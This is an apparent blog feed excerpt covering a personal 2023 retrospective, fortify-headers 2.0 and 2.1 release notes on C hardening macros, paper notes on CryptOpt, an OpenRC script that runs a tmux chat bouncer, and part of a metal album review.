<li><a href="https://nostarch.com/hacks-leaks-and-revelations">Hacks, Leaks, and Revelations</a>: a <a href="https://dustri.org/b/book-review-hacks-leaks-and-revelations.html">reference</a></li>
<li><a href="https://direct.mit.edu/books/book/3008/Beyond-ChoicesThe-Design-of-Ethical-Gameplay">Beyond choices: The design of ethical gameplay</a></li>
<li><a href="https://editions-ixe.fr/catalogue/non-le-masculin-ne-lemporte-pas-sur-le-feminin-ned/">Non, le masculin ne l’emporte pas sur le féminin !</a></li>
<li><a href="https://en.wikipedia.org/wiki/This_Changes_Everything_(book)">This Changes Everything: Capitalism vs. the Climate</a></li>
<li><a href="https://www.goodreads.com/en/book/show/51176626">Break 'em Up: Recovering Our Freedom from Big Ag, Big Tech, and Big Money</a>.</li>
<li><a href="https://aosabook.org/en/buy.html">The Performance of Open Source Applications</a>: contains some really nice tidbits.</li>
<li><a href="https://aosabook.org/en/">The Architecture of Open Source Applications, Part 1.</a>: computers were a mistake.</li>
<li><a href="https://nostarch.com/kill-it-fire">Kill It with Fire: Manage Aging Computer Systems (and Future Proof Modern Ones)</a></li>
<li><a href="https://goodreads.com/book/show/38212110-technically-wrong">Technically Wrong: Sexist Apps, Biased Algorithms, and Other Threats of Toxic Tech</a></li>
<li><a href="https://nostarch.com/locksport">Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking</a>: <a href="https://dustri.org/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html">great</a></li>
<li><a href="https://freakyclown.com/publications">How I Rob Banks (and other such places)</a>, written in an unbearably cocky style, mildly entertaining.</li>
<li><a href="https://samleecole.com">How Sex Changed the Internet and the Internet Changed Sex: An Unexpected History</a>, a bit too shallow for my taste.</li>
<li><a href="https://toddrose.com/endofaverage">The End of Average</a>, great book, except the part where the author argues that the goal of schools is to prepare kids for jobs.</li>
<li><a href="https://staffeng.com/book">Staff Engineer: Leadership beyond the management track</a>, I'm not there yet, but it helped me understand some coworker's jobs and struggles.</li>
<li><a href="https://thirdeditions.com/en/sagas/94-metal-gear-solid-hideo-kojima-s-magnum-opus-9791094723616.html">Metal Gear Solid. Hideo Kojima's Magnum Opus</a>:
deluge of superlatives directed at Kojima, speculative opinionated wild rambling, no mention of the <a href="https://en.wikipedia.org/wiki/Quiet_(Metal_Gear)">rampant</a>
<a href="https://theguardian.com/technology/2014/apr/09/metal-gear-solid-ground-zeroes-sexual-violence">sexism</a>,
typos and frenchisms, … prefer the <a href="https://en.wikipedia.org/wiki/Metal_Gear">wikipedia</a> and <a href="https://metalgear.fandom.com/wiki/Metal_Gear_Wiki">fandom</a> pages instead.</li>
<li><a href="https://en.wikipedia.org/wiki/The_Mirage_(Ruff_novel)">The Mirage</a>: I
was expecting more of a description of an alternative history than a
novel with a lame plot and forgettable characters. The humour is goofy
and unsubtle: a punk rock group called Green Desert has an anti-war
anthem named "Arabian Idiot"; a morning talk show called Jazeera &
Friends, … but this is completely on par with the post-11-September
anti-muslim/Iraqi rhetoric, making it both funny and perfectly adequate.</li>
</ul>
</li>
<li>Moved back to France.</li>
<li>Volunteered at a library.</li>
<li>Refused to sell <a href="https://websec.fr">websec.fr</a></li>
<li>Listened to <a href="https://listenbrainz.org/user/jvoisin/year-in-music/">some music</a>.</li>
<li>Attended some concerts:<ul>
<li><a href="https://en.wikipedia.org/wiki/Eisbrecher">Eisbrecher</a>, along with <a href="https://maerzfeld.de">Maerzfeld</a></li>
<li><a href="https://gojira-music.com">Gojira</a>, along with <a href="https://alienweaponry.com">Alien Weaponry</a></li>
<li><a href="https://katatonia.com">Katatonia</a>, along with
<a href="https://som.band">SOM</a> and <a href="https://solstafir.net">Sólstafir</a></li>
<li><a href="https://heavenshallburn.com">Heaven Shall Burn</a>, along with
<a href="https://trivium.org">Trivium</a>,
<a href="https://en.wikipedia.org/wiki/Malevolence_(band)">Malevolence</a>, and
<a href="https://obituary.cc">Obituary</a></li>
<li><a href="https://igorrr.com">Igorrr</a>, along with
<a href="https://derwegeinerfreiheit.de">Der Weg einer Freiheit</a>,
<a href="https://en.wikipedia.org/wiki/Amenra">Amenra</a>, and
<a href="http://hangmanschair.com">Hangman's Chain</a></li>
</ul>
</li>
<li>Played some video games:<ul>
<li>On a computer:<ul>
<li><a href="https://www.doomworld.com/forum/topic/134292-myhousewad/">MyHouse.WAD</a>: <a href="https://doomwiki.org/wiki/My_House">wow</a>.</li>
<li><a href="https://en.wikipedia.org/wiki/Observer_(video_game)">>observer_</a>: didn't like it.</li>
<li><a href="https://en.wikipedia.org/wiki/Sea_of_Thieves">Sea of Thieves</a>, ~ok with friends.</li>
<li><a href="https://hyperstrange.com/our-games/blood-west/">Blood West</a>: <a href="https://en.wikipedia.org/wiki/Thief_(series)">Thief</a> in the Far West.</li>
<li><a href="https://en.wikipedia.org/wiki/Half-Life%3A_Alyx">Half Life: Alyx</a>: impressive in every way.</li>
<li><a href="https://en.wikipedia.org/wiki/High_on_Life_(video_game)">High on Life</a>: excruciatingly tedious at best.</li>
<li><a href="https://en.wikipedia.org/wiki/Cyberpunk_2077#Cyberpunk_2077:_Phantom_Liberty">Cyberpunk 2077: Phantom Liberty</a>: glorious.</li>
<li><a href="https://en.wikipedia.org/wiki/Tom_Clancy's_Rainbow_Six_Siege">Rainbow Six: Siege</a>: better than <a href="https://en.wikipedia.org/wiki/Counter-Strike">Counter Strike</a>.</li>
<li><a href="https://en.wikipedia.org/wiki/Hogwarts_Legacy">Hogwarts Legacy</a>: breathtaking and well rounded.</li>
<li><a href="https://store.steampowered.com/app/2329130/Rewind_Or_Die/">Rewind or Die</a> felt like playing resident evil again <3</li>
<li><a href="https://en.wikipedia.org/wiki/Outer_Wilds">Outer Wilds</a>: the controls were too terrible for me to play.</li>
<li><a href="https://en.wikipedia.org/wiki/The_Last_of_Us_Part_I">The Last of Us Part 1</a>: ok-ish, not my jam, Joel is a moron.</li>
<li><a href="https://en.wikipedia.org/wiki/The_Witcher_3%3A_Wild_Hunt">The Witcher 3 - Wild Hunt</a>: when did video game get so long…</li>
<li><a href="https://en.wikipedia.org/wiki/Apex_Legends">Apex Legends</a>: a lame version of <a href="https://en.wikipedia.org/wiki/Titanfall_2">Titanfall 2</a>, ok-ish when playing ranked.</li>
<li><a href="https://en.wikipedia.org/wiki/Warhammer_40,000:_Chaos_Gate_-_Daemonhunters">Warhammer 40,000: Chaos Gate - Daemonhunters</a>:
<a href="https://en.wikipedia.org/wiki/XCOM">XCOM</a> with <a href="https://wh40k.lexicanum.com/wiki/Grey_Knights">Grey knights</a>.</li>
<li><a href="https://en.wikipedia.org/wiki/Metal%3A_Hellsinger">Metal: Hellsinger</a>: looked super-lame on gameplay videos, but was surprisingly fun.</li>
<li><a href="https://en.wikipedia.org/wiki/Starfield_(video_game)">Starfield</a>: a buggy clunky quickly-boring
<a href="https://en.wikipedia.org/wiki/The_Elder_Scrolls_V:_Skyrim">Skyrim</a> in space, quickly went back to Cyberpunk 2077.</li>
<li><a href="https://store.steampowered.com/app/1172650/INDUSTRIA/">Industria</a>: catastrophic performances for looking utterly terrible, along with a clunky feeling, promptly uninstalled.</li>
<li><a href="https://en.wikipedia.org/wiki/Journey_to_the_Savage_Planet">Journey to the Savage Planet</a>: Rich in poop-oriented
jokes, trying hard to be funny and maybe even subversive but systematically falling flat.</li>
<li><a href="https://en.wikipedia.org/wiki/Baldur%27s_Gate_3">Baldur's Gate 3</a>: not a
fan of the <a href="https://en.wikipedia.org/wiki/Dungeons_%26_Dragons">Dungeons & Dragons</a> dice-based
gameplay, nor of the hard dialog choices cutting entire parts of the game,
but still an amazing game.</li>
<li><a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain">Metal Gear Solid V: The Definitive Experience</a>,
so <a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_Ground_Zeroes">Metal Gear Solid V: Ground Zeroes</a> and
<a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain">Metal Gear Solid V: The Phantom Pain</a>.
I bought it after having seen the former being run at the <a href="https://gamesdonequick.com/tracker/run/5506">AGDQ 2023</a>.
Truly amazing game overall, except for the <a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain#Portrayal_of_Quiet">sexualisation of the <em>sole</em> female character</a>.</li>
</ul>
</li>
<li>On a (glorious) <a href="https://en.wikipedia.org/wiki/Steam_Deck">Steam Deck</a>:<ul>
<li><a href="https://store.steampowered.com/app/638990/UNDYING/">UNDYING</a>: nice
zombie-related game.</li>
<li><a href="https://store.steampowered.com/agecheck/app/1593500/">God of War</a>,
surprisingly "wholesome".</li>
<li><a href="https://blacksaltgames.com/">Dredge</a>, terrific indie game: gorgeous looking, simple yet gripping gameplay, interesting lore and story, …</li>
<li><a href="https://en.wikipedia.org/wiki/Vampyr_(video_game)">Vampyr</a>, because
I miss <a href="https://en.wikipedia.org/wiki/Vampire:_The_Masquerade_%E2%80%93_Bloodlines">Vampire: The Masquerade – Bloodlines</a>. It could have been so much more instead of being "meh".</li>
</ul>
</li>
</ul>
</li>
<li>Ported <a href="https://github.com/jvoisin/snuffleupagus">Snuffleupagus</a> to PHP8.3.</li>
<li>Contributed to a couple of software:<ul>
<li><a href="https://github.com/lite-xl/lite-xl/pulls?q=is%3Apr+author%3Ajvoisin">lite-xl</a></li>
<li><a href="https://alpinelinux.org/">Alpine linux</a>, by:<ul>
<li>becoming a <a href="https://pkgs.alpinelinux.org/packages?branch=edge&repo=&arch=&maintainer=Julien%20Voisin">package maintainer</a></li>
<li><a href="https://gitlab.alpinelinux.org/alpine/tsc/-/issues/64">documenting a bit</a> the compiler-based mitigations,
and <a href="https://gitlab.alpinelinux.org/alpine/abuild/-/merge_requests/221">enabling some missing ones</a>.</li>
</ul>
</li>
<li>Because of <a href="https://runzero.com">runZero</a>, I<ul>
<li><a href="https://github.com/rapid7/recog/pulls?q=+is%3Apr+author%3Ajvoisin">contributed to recog</a> to improve some of its fingerprints;</li>
<li><a href="https://github.com/Sonarr/Sonarr/issues/5601">made it less trivial</a> to detect Sonarr/Lidarr/Radarr/… versions.</li>
</ul>
</li>
<li><a href="https://github.com/struct/isoalloc/pulls?q=is%3Apr+author%3Ajvoisin+created%3A2023">isoalloc</a></li>
<li><a href="https://github.com/pygments/pygments/commits?author=jvoisin">pygments</a>, mainly by adding lexers.</li>
<li><a href="https://github.com/morpheus65535/bazarr/pull/2304">bazaar</a>, making it work on Alpine Linux.</li>
<li><a href="https://github.com/google/oss-fuzz/pulls?q=is%3Apr+author%3Ajvoisin">oss-fuzz</a>,
including some <a href="https://github.com/guidovranken/python-library-fuzzers/pulls?q=is%3Apr+author%3Ajvoisin">python fuzzers</a>.</li>
<li><a href="https://github.com/daanx/mimalloc-bench">mimalloc-bench</a>,
resulting in some <a href="https://github.com/microsoft/snmalloc/pull/587#issuecomment-1442077886">real world improvements</a>.</li>
<li><a href="https://github.com/quodlibet/mutagen/pulls/jvoisin">mutagen</a>, since it's
used by <a href="https://0xacab.org/jvoisin/mat2">mat2</a>. I even <a href="https://github.com/google/oss-fuzz/pull/10072">integrated it into
OSS-Fuzz</a>.</li>
<li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is%3Apr+jvoisin">metasploit</a>,
by doing a lot of code reviews for pull-requests, and landing some modules,
like a <a href="https://github.com/rapid7/metasploit-framework/pull/17711">SPIP RCE</a>,
courtesy of <a href="https://thinkloveshare.com/">Laluka</a> and <a href="https://twitter.com/coiffeur0x90">coiffeur</a>.</li>
<li><a href="https://chrony.tuxfamily.org/">chrony</a>, spending some time debugging
<a href="https://mail-archive.com/chrony-dev@chrony.tuxfamily.org/msg02572.html">how to enable its seccomp sandbox</a>
on Alpine Linux, resulting in a <a href="https://gitlab.alpinelinux.org/alpine/aports/-/issues/14891#note_316587">couple of improvements</a>,
and of course a <a href="https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/47087">now-enabled-by-default sandbox</a> there.</li>
</ul>
</li>
<li>Got a CVE for a bug I <a href="https://github.com/py-pdf/pypdf/security/advisories/GHSA-jrm6-h9cq-8gqw">reported</a> in 2020!</li>
<li>Kept maintaining <a href="https://openmw.org">OpenMW</a>'s infrastructure.</li>
<li>Learnt some <a href="https://en.wikipedia.org/wiki/Rust_(programming_language)">Rust</a> so I could hang out with the cool kids.</li>
<li>Helped organise the <a href="http://g.co/ctf">GoogleCTF</a>, which was <a href="https://ctftime.org/event/1929">pretty well received</a>.</li>
<li>Added more possible subtitles to this blog, bringing their numbers above 1100.</li>
<li>Reduced the size of this website's webpages; most should now be around 10kb.</li>
<li>Contributed a bit to Wikipedia, in <a href="https://en.wikipedia.org/wiki/Special:Contributions/jvoisin">English</a> and in <a href="https://fr.wikipedia.org/wiki/Sp%C3%A9cial:Contributions/jvoisin">French</a>
under my usual nickname.</li>
<li>Moved my emails away from <a href="https://gandi.net">Gandi</a> over to <a href="https://migadu.com">Migadu</a>,
given their <a href="https://chatting.neocities.org/posts/2023-gandi-pricing">ludicrous</a> post-acquisition price increase.</li>
<li><a href="https://github.com/jvoisin/compiler-flags-distro">Investigated</a> what
hardening-related compiler flags where enabled by default by popular Linux
distributions.</li>
<li><a href="https://tests.stockfishchess.org/users#jvoisin">Contributed a bit</a> (by crunching numbers) to <a href="https://stockfishchess.org/">Stockfish</a>,
an open-source chess engine with an <a href="https://en.wikipedia.org/wiki/Elo_rating_system">Elo rating</a>
around <a href="https://computerchess.org.uk/ccrl/4040/rating_list_all.html">3500</a>.</li>
<li>Got featured a couple of times on Hackernew/reddit/lobste.rs/… frontpage,
thanks to a <s><a href="https://www.reddit.com/r/karma/wiki/index/faq/">karma</a> junkie</s>
marketing-able <a href="https://dijit.sh">friend</a></li>
<li>Kept maintaining <a href="https://nos-oignons.net/">Nos Oignons</a>'s infrastructure with <a href="https://corl3ss.com/">corl3ss</a>.
We're back at handling <a href="https://nos-oignons.net/Services/index.en.html">around 2%</a>
of tor's exit traffic! Our little non-profit is now 10 years old.</li>
<li><a href="https://github.com/jvoisin/fortify-headers">Took over</a> the development and maintenance of
<a href="https://u.2f30.org/sin/">sin</a>'s <a href="https://git.2f30.org/fortify-headers/">fortify-headers</a>.
It's used by <a href="https://openwrt.org/">OpenWrt</a>, <a href="https://www.alpinelinux.org/">Alpine Linux</a>,
and <a href="https://bugs.gentoo.org/546692">soon</a> in <a href="https://wiki.gentoo.org/wiki/Project:Musl">Gentoo Hardened's musl flavour</a>.</li>
<li>Ported my resume/cover letter template from
<a href="https://latex-project.org">LaTeX</a> to
<a href="https://typst.app/docs/guides/guide-for-latex-users/">typst</a> and felt so
much joy purging away all the LaTeX/TeXLive/XeTeX/LuaTeX/… garbage from my computer,
to never have to touch it again.</li>
<li>Got a "Documented Feedback from Employee Relations" from HR at work for
saying "Awkward to have yet another middle aged rich white het guy come talk
about diversity and inclusion." on an internal chatroom, about <a href="https://booleanblackbelt.com/who-is-the-boolean-black-belt/">this middle
aged rich white het guy</a>
invited to give an internal talk about diversity and inclusion.</li>
</ul>jvoisinSun, 31 Dec 2023 23:59:00 +0100tag:dustri.org,2023-12-31:/b/2023-in-retrospect.htmlmiscfortify-headers 2.1https://dustri.org/b/fortify-headers-21.html<p>Only 4 days after the <a href="https://dustri.org/b/fortify-headers-20.html">release</a> of
<a href="https://github.com/jvoisin/fortify-headers">fortify-headers</a>,
here is the <a href="https://github.com/jvoisin/fortify-headers/releases/tag/2.1">2.1</a>,
fixing a couple of portability issues and tidying a bit the code.
<a href="https://chimera-linux.org/">Chimera Linux</a> users are
<a href="https://github.com/chimera-linux/cports/commit/a26be649d8a13c1012d5e165055d354a6bab1af8">as of today</a>
<del>test driving</del> benefiting from it.</p>
<h2>Changelog</h2>
<ul>
<li>Remove superfluous includes from the headers</li>
<li>Put some functions in to their proper files</li>
<li>Add a missing include in <code>sys/select.h</code></li>
<li>Do not use static inline for C++ to avoid <a href="https://en.wikipedia.org/wiki/One_Definition_Rule">ODR</a>-wise violation</li>
<li>Guard some conditional stdio APIs with the right macros</li>
<li>Fix a typo that would prevent C++ code from compiling correctly</li>
<li>Rename macros to be more namespace-friendly</li>
</ul>
<h2>Implementation details</h2>
<p>Including parts from the
<a href="https://en.wikipedia.org/wiki/Standard_library">stdlib</a> in fortify means that
programs that don't correctly include everything they need might compile, even
though they shouldn't. Fortunately, the only bits used are either:</p>
<ul>
<li><code>size_t</code>, which can be obtained by using <code>typeof(sizeof(char))</code>,
since it's by definition the type returned by <code>sizeof</code>.</li>
<li>constants like <code>PATH_MAX</code> (that we can define to <code>4096</code>), <code>MB_LEN_MAX</code>
(defined as 16), ...</li>
<li>eldritch constructs like <a href="https://www.man7.org/linux/man-pages/man3/MB_CUR_MAX.3.html"><code>MB_CUR_MAX</code></a>,
whose usage we hide behind an <code>#ifdef</code>.</li>
</ul>
<p>The other big thing is the one caught by <a href="https://github.com/ssbr">Devin Jeanpierre</a>, the usage of <code>static
inline</code> while <a href="https://en.cppreference.com/w/c/language/inline">absolutely alright in C</a>,
is problematic in C++, because of the <a href="https://en.wikipedia.org/wiki/One_Definition_Rule">One Definition Rule</a>:
In C++, if a function is declared inline, it must be declared inline in every translation unit, and also every
definition of an inline function must be exactly the same (while in C they may
be different.) On the other hand, C++ allows non-const function-local
statics and all function-local statics from different definitions of an inline
function are the same in C++, but distinct in C.
More practically, calling <code>FORTIFY_INLINE</code> functions from an inline function in C++, and including
the header defining that inline function in more than one <a href="https://en.wikipedia.org/wiki/Translation_unit_%28programming%29">translation
unit</a> results
in undefined behaviour. The fix is easy, and was
<a href="https://github.com/jvoisin/fortify-headers/commit/c607773a80e6685ab4c922245c33cf2ea5dcfb72">commited</a>
by <a href="https;//github.com/q66">q66</a>: use <code>static</code> instead of <code>static inline</code> in C++.</p>
<p>Thanks <a href="https://github.com/ssbr">Devin Jeanpierre</a> for spending time to look at
C++ compatibility, <a href="https://github.com/q66">q66</a> for his patches, willingness to ship
fortify-headers in Chimera, and becoming co-maintainer.</p>jvoisinSat, 16 Dec 2023 20:30:00 +0100tag:dustri.org,2023-12-16:/b/fortify-headers-21.htmlsecurityfortify-headers 2.0https://dustri.org/b/fortify-headers-20.html<p>8 months ago, I started to contribute to <a href="https://git.2f30.org/fortify-headers/">fortify-headers</a>,
a standalone <a href="https://gcc.gnu.org/legacy-ml/gcc-patches/2004-09/msg02055.html">fortify-source</a> implementation,
with the goal of implementing <code>FORTIFY_SOURCE=3</code>, since the current version
only implemented <code>FORTIFY_SOURCE=2</code>. I reached out to
<a href="https://u.2f30.org/sin/">sin</a>, the original maintainer, to ask if he was
interested in my changes, and he told me the project wasn't maintained
anymore. But he would be happy to give me the commit bit instead. I spent
some months <a href="https://github.com/jvoisin/fortify-headers">writing code</a> before
accepting, to see if it would be a good idea: Would I be able to maintain it?
To improve it? Add more features? and so on. Turns out the answer is yes, and
I'm thus happy to announce the immediate availability of <a href="https://git.2f30.org/fortify-headers/refs.html">fortify-headers
2.0</a>!</p>
<h2>Changelog</h2>
<ul>
<li>Added clang support, based on <a href="https://github.com/q66">q66</a>'s patches.</li>
<li>Fixed a 64b-related incompatibility around <code>ppoll</code> </li>
<li>Added a ton of tests, with <a href="https://jvoisin.github.io/fortify-headers/">around 90% of coverage</a></li>
<li>Made use of <code>__builtin_dynamic_object_size</code> when <code>FORTIFY_SOURCE=3</code> is used,
instead of <code>__builtin_object_size</code>.</li>
<li>Made use of <a href="https://clang.llvm.org/docs/AttributeReference.html">attributes</a>:
<a href="https://clang.llvm.org/docs/AttributeReference.html#alloc-size">alloc_size</a>,
<a href="https://clang.llvm.org/docs/AttributeReference.html#diagnose-as-builtin">diagnose_as_builtin</a>,
<a href="https://clang.llvm.org/docs/AttributeReference.html#diagnose-if">diagnose_if</a>,
<a href="https://clang.llvm.org/docs/AttributeReference.html#format">format</a>,
<a href="https://clang.llvm.org/docs/AttributeReference.html#malloc">malloc</a>,
<a href="https://clang.llvm.org/docs/AttributeReference.html#nodiscard-warn-unused-result">warn_unused_result</a>,
…</li>
<li>Added some missing functions, like <code>calloc</code>, <code>fdopen</code>, <code>fmemopen</code>, <code>fprintf</code>,
<code>malloc</code>, <code>memchr</code>, <code>popen</code>, <code>printf</code>, <code>qsort</code>, <code>umask</code>, …</li>
<li>Added continuous integration, both on clang and gcc, covering the whole range
of supported versions across the latest Ubuntu LTS.</li>
</ul>
<h2>Implementation details</h2>
<p>Since this is a pretty uncommon piece of software, friends of mine have been
asking me details about the involved black magic.
While it's possible to overload functions with the
<a href="https://clang.llvm.org/docs/AttributeReference.html#overloadable">overloadable</a>
attribute in C, there isn't really something similar for drive-by overloading.
Fortunately, it's possible to hack an equivalent by combining
<a href="https://gcc.gnu.org/onlinedocs/cpp/Wrapper-Headers.html"><code>#include_next</code></a> with
the following macros:</p>
<div class="codehilite"><pre><span></span><code><span class="cp">#define _FORTIFY_STR(s) #s</span>
<span class="cp">#define _FORTIFY_ORIG(p, fn) __typeof__(fn) __orig_##fn __asm__(_FORTIFY_STR(p) #fn)</span>
<span class="cp">#define _FORTIFY_FNB(fn) _FORTIFY_ORIG(__USER_LABEL_PREFIX__, fn)</span>
<span class="cp">#define _FORTIFY_FN(fn) _FORTIFY_FNB(fn); _FORTIFY_INLINE</span>
</code></pre></div>
<p>This makes the original function available when prefixed with <code>__orig</code>,
while allowing overloading.
On clang, the <a href="https://clang.llvm.org/docs/AttributeReference.html#pass-object-size-pass-dynamic-object-size"><code>pass_object_size</code>/<code>pass_dynamic_object_size</code></a>
attribute is used to pass down arguments size; the assembly label preventing
weird <a href="https://en.wikipedia.org/wiki/Name_mangling">mangling</a> issues. Since
it's only a label, despite being assembly, it's still portable across various
architectures. The <code>_FORTIFY_INLINE</code> macro contains all possible "please inline this
function" directives as possible, to avoid polluting the symbols.</p>
<p>There is of course a ton of <code>#ifdef</code>/<code>#if __has_atribute</code>/… to work around various
compiler intrinsics, like clang missing <code>__builtin_va_arg_pack</code> or gcc missing
<code>diagnose_if</code>, so that fortify-headers will always make use of the most
features available.</p>
<p>It is indeed a particularly gross pile of hacks,
but this is C, also known as "nice things and why we can't have them."</p>
<p>Thanks to <a href="https://u.2f30.org/sin/">sin</a> for creating the project and
maintaining it for years, <a href="https://daniel.micay.dev">strcat</a> for his inspiring
work on fortifying <a href="https://en.wikipedia.org/wiki/Bionic_(software)">bionic</a>,
<a href="https://github.com/q66">q66</a> for his clang patches and general support,
the friendly people from <a href="https://2f30.org">2f30</a> for their patience,
<a href="http://serge.liyun.free.fr/serge/">Serge Sans Paille</a> for his <a href="https://github.com/serge-sans-paille/fortify-test-suite">testsuite</a>,
<a href="https://people.freebsd.org/~kevans/">kevans</a> for his work on fortifying
<a href="https://reviews.freebsd.org/D32306">FreeBSD's libc</a>,
Red Hat from pushing <code>FORTIFY_SOURCE=2</code> and <code>FORTIFY_SOURCE=3</code> forward,
...</p>jvoisinTue, 12 Dec 2023 23:30:00 +0100tag:dustri.org,2023-12-12:/b/fortify-headers-20.htmlsecurityPaper notes: CryptOpthttps://dustri.org/b/paper-notes-cryptopt.html<ul>
<li>Full title: CryptOpt: Verified Compilation with Randomized Program Search for Cryptographic Primitives</li>
<li>PDF: <a href="https://arxiv.org/abs/2211.10665">arXiv</a> (<a href="https://dustri.org/b/files/papers/cryptopt.pdf">local mirror</a>)</li>
<li>Authors: Joel Kuepper, Andres Erbsen, Jason Gross, Owen Conoly, Chuyue Sun, Samuel Tian, David Wu, Adam Chlipala, Chitchanok Chuengsatiansup, Daniel Genkin, Markus Wagner, Yuval Yarom</li>
</ul>
<p>Cryptography is hard, high-performance one even more so: formal proof of
assembly implementations is horrible to model, and code generation from
formal proofs are hard to lower to high-performance assembly. The core idea of
CryptOpt is to treat this as a black box combinatorial optimization problem,
and bruteforce possible solutions in a smart way against an oracle.</p>
<p>More precisely:</p>
<ol>
<li>start from a known-correct implementation in
<a href="https://github.com/mit-plv/fiat-crypto">fiat-crypto</a> (a
coq-powered high-level to low-level IR proven translator) low-level IR;</li>
<li>lower it via a fuzzer-like machinery replacing/reordering operands
applying semantics-and-data-constrains-preserving transformations, which has an acceptable
search space because:<ul>
<li>it's straight-line no-aliasing constant-offset-pointers assembly;</li>
<li>transformations can be templatised, eg. <code>add ≍ clc; adcx</code>;</li>
</ul>
</li>
<li>lift the resulting x64 assembly to fiat-crypto low-level IR;</li>
<li>use a custom <a href="https://en.wikipedia.org/wiki/E-graph">e-graph</a> based
<em>equivalence checker</em> implemented as a mix between an SMT solver and a symbolic-execution engine;</li>
<li>if the new implementation is correct, benchmark it against the current;
fastest one, and keep it if it's outperforming it.</li>
<li><code>goto 2</code>.</li>
</ol>
<p>This approach has a couple of advantages:</p>
<ul>
<li>fuzzers are cheaper than highly specialised engineering time</li>
<li>porting implementations to new hardware is simply a matter of
running CryptOpt on it.</li>
<li>by lifting the assembly to fiat-crypto low-level IR,
there is no need to write complex formal proofs,
since fiat-crypto is already taking care of those.</li>
<li>controlling the mutations allows to ensure that
the implementation stays side-channel free.</li>
</ul>
<p>The main issue though, is that one needs to formally implement
whatever algorithm to optimize in fiat-crypto, which is not that easy (and
which the authors of the paper didn't do for libsecp256k1).</p>
<p>Implementation-wise, the author ran 200k mutations, with 20 initial candidates,
over 18 Fiat IR primitives, taking between 20 and 40 CPU hours. Interestingly,
since the equivalence-based verification is <em>slow</em> (between 0.1s and ~300s),
it's only done once at the end. They found out that "optimization progress is roughly logarithmic
in the number of mutations." CryptOpt generates code around 1.20 to 2.50 times
faster than gcc/clang for the same fiat-crypto generated C code. It's not
faster then OpenSSL (but offers formally verified correctness), but is
faster than libsecp256k1.</p>
<p>The paper was <a href="https://iacr.org/submit/files/slides/2023/rwc/rwc2023/85/slides.pdf">presented</a> at <a href="https://rwc.iacr.org/2023/program.php">Real World Crypto 2023</a>,
and like all good one, it came with an <a href="https://github.com/0xADE1A1DE/CryptOpt">implementation</a></p>jvoisinFri, 01 Dec 2023 12:30:00 +0100tag:dustri.org,2023-12-01:/b/paper-notes-cryptopt.htmlpaper_notesManaging a bouncer via OpenRChttps://dustri.org/b/managing-a-bouncer-via-openrc.html<p>I'm an avid <a href="https://en.wikipedia.org/wiki/Internet_Relay_Chat">IRC</a>
user, and I'm using <a href="https://en.wikipedia.org/wiki/XMPP">XMPP</a> to idle on
<a href="https://tails.net/support/index.en.html">Tails</a>' chatrooms. Since protocols
tend to only work when one is connected, they're both running inside a
<a href="https://github.com/tmux/tmux">tmux</a> session, acting as a
<a href="https://en.wikipedia.org/wiki/BNC_(software)">bouncer</a>.
But now that my hypervisor is automatically rebooting to apply security updates,
and during power cuts via <a href="https://networkupstools.org/">nut</a>,
I needed a way to automatically restart the bouncer. Since
it's running in an <a href="https://www.alpinelinux.org/">Alpine Linux</a> container,
here is my solution in the form of an <a href="https://github.com/OpenRC/openrc">OpenRC</a>
service script, because I couldn't find one on the internet:</p>
<div class="codehilite"><pre><span></span><code><span class="ch">#!/sbin/openrc-run</span>
<span class="nv">USER</span><span class="o">=</span>jvoisin
<span class="nv">name</span><span class="o">=</span><span class="s2">"chat"</span>
<span class="nv">command_user</span><span class="o">=</span><span class="s2">"</span><span class="nv">$USER</span><span class="s2">"</span>
<span class="nv">command</span><span class="o">=</span>/usr/bin/tmux
<span class="nv">command_args</span><span class="o">=</span><span class="s2">"new-session -s chat -d '/usr/bin/weechat' \; new-window '/usr/bin/profanity' \; select-window -t -1"</span>
<span class="nv">pidfile</span><span class="o">=</span><span class="s2">"/run/</span><span class="nv">$SVCNAME</span><span class="s2">.pid"</span>
depend<span class="o">()</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span>need<span class="w"> </span>net
<span class="w"> </span>use<span class="w"> </span>dns<span class="w"> </span>
<span class="o">}</span><span class="w"> </span>
stop<span class="o">()</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span>su<span class="w"> </span><span class="s2">"</span><span class="nv">$USER</span><span class="s2">"</span><span class="w"> </span>-c<span class="w"> </span><span class="s1">'tmux kill-session chat'</span>
<span class="o">}</span>
</code></pre></div>jvoisinFri, 24 Nov 2023 16:30:00 +0100tag:dustri.org,2023-11-24:/b/managing-a-bouncer-via-openrc.htmlsysadminNetra - Ingratshttps://dustri.org/b/netra-ingrats.html<p><a href="https://hypnoticdirgerecords.bandcamp.com/album/ingrats"><img alt="Cover" src="https://dustri.org/b/images/netra_ingrats.jpg"></a></p>
<p><em>Ingrats</em> ("ungrateful ones" in French) is the 3<sup>rd</sup> album from
Netra, and it's a very lonely one, for I don't think it has any peers. A mix of
depressive black metal, trip hop, and jazz à la <a href="https://en.wikipedia.org/wiki/Bohren_%26_der_Club_of_Gore">Bohren & der Club of
Gore</a> in equal
measures, bound together with a hint of depressive darkwave, resulting
in a not only surprisingly cohesive and daring record, but also an excessively
pleasant and honest one.</p>
<p>Opening with "Gimme a break", a mellow jazzy noir blues vibe where one wants to
snap in rhythm, things quickly devolve into blast beats, raw screams and
twisted guitar of "Everything’s Fine", arguably the most black-metal-esque song
of the album. Albeit it is way more than yet-another-black-metal-track,
morphing into something more complex, with an eerie piano melody, and some
almost gothic rock clear singing. The sudden transitions are perfectly
executed, and the work on the voices is truly delicious, resulting in an
alienating, impetuous yet melancholic track. "Underneath my words the ruins of
yours" is a subtle mix of trip-hop and atmospheric post-rock/darkwave,
pursuing with "Live with It", even more trip-hop, but this time with a
<a href="https://en.wikipedia.org/wiki/Syncopation">syncopated</a> rhythm, 80s gothic
rock, clean vocals and acoustic guitars, … it results in something like
Katatonia doing a feat with <a href="https://en.wikipedia.org/wiki/Gramatik">Gramatik</a>
and <a href="https://en.wikipedia.org/wiki/Ulver">Ulver</a> period early 2000s.</p>
